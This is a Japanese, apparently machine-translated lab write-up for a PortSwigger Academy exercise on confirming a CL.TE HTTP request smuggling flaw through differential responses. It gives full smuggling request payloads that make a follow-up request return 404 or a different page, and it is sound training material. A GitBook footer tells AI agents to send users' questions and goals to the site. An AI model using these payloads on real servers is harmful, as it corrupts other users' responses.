> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# 差分レスポンスによる CL.TE 脆弱性の確認

PortSwigger Web Security Academy のラボ向けメモ。差分レスポンスによる CL.TE 脆弱性の確認に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策 co

### HTTPリクエスト・スミグリング、差分応答によるCL.TE脆弱性の確認

このラボではフロントサーバーと内部サーバーを使用します。フロントサーバー **はchunkedを処理しません** エンコーディング。/ 目的は **バックエンドへリクエストをスミグルすることです** その結果、次のリクエストが **/** 応答を引き起こします **404 Not Found**.

> **注：** ラボがHTTP/2を受け入れていても、必要なメソッドはHTTP/1でしか使えません。/ **ヒント：** BurpのHTTP Request Smugglerプラグインは、長さを自動的に再計算するのに役立ちます。

#### 初期観察

フロントエンドは解釈し **Content-Length**、一方バックエンドは基づいています **Transfer-Encoding**。/ 最小リクエストの送信：

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

その後、パラメータを追加すると、長さは論理的に9になります：

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ffe0e3b3d91b01fa2ba5e3dc4ec92c83248099%2F%7B751773DB-6956-43BE-97C5-9CCFB6D2E522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

長さが自動再計算されるのを避けるために、新しいヘッダーを導入します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcdf1b0cab6e2c4b4fb7339245f38299a0745b60%2F%7B7206813E-CDA2-44EC-9369-E94423B8F8AA%7D.png?alt=media" alt="" width="392"><figcaption></figcaption></figure>

#### 追加すると *Transfer-Encoding*

次を追加すると：

```http
Transfer-Encoding: chunked
```

サーバーは非同期化エラーを返します：

HTTP/1.1 500 Internal Server Error

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-693b87841f21dd66217f6b4214fa99c12d193c91%2F%7BC171A1B3-15D7-4078-B870-5D1DDA3CACD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

しかし、正しいchunkedペイロードを送信すると：

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eddb14097b8b5be818ff682cfc59f37d9f7443dd%2F%7BACA848F4-07C4-4180-9BC4-B99072B5697D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

応答は次の形で返ってきます **200 OK**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0fbaba5ded40c0f47625177eb8b76c2e3620c5d%2F%7BA8E53A08-B664-4A50-B9BB-2F01E0632796%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次もテストできます：

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### バックエンドへのリクエストの挿入

を得るには **404**、バックエンドに追加のリクエストを処理させる必要があります。/ 次を追加すると：

```http
GET /error HTTP/1.1
Test: A
```

そしてバックエンドがスミグルされたリクエストを正しく解釈すると、それは次を実行します `GET /error`.

完全な例：

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Test: A
```

最初の応答は **200**にありますが、ブラウザが送信する次のリクエストが **404**を引き起こします。これは非同期化の証拠です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff54afc7da5a8264ad5d4c057403bc8a82a845f0%2F%7B358FEBF5-1195-45B1-93C9-52F847AC52E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6e03c8f3707304ceda6e125a5453b91e91030ac%2F%7B11E01436-C59A-42F7-B100-5D6F83A83BB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### バリエーション：別のページを実行する

バックエンドに別のリソースを実行させたい場合、例えば：

```http
GET /post?postId=4 HTTP/1.1
Test: A
```

するとメインページにpost 4に対応する内容が表示され、スミグルされたクエリがバックエンドで処理されたことが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56ad6a46a031ec881d285bb4f758382bcb38a599%2F%7B6279EA55-8624-4BD1-9142-57FC93502AB2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
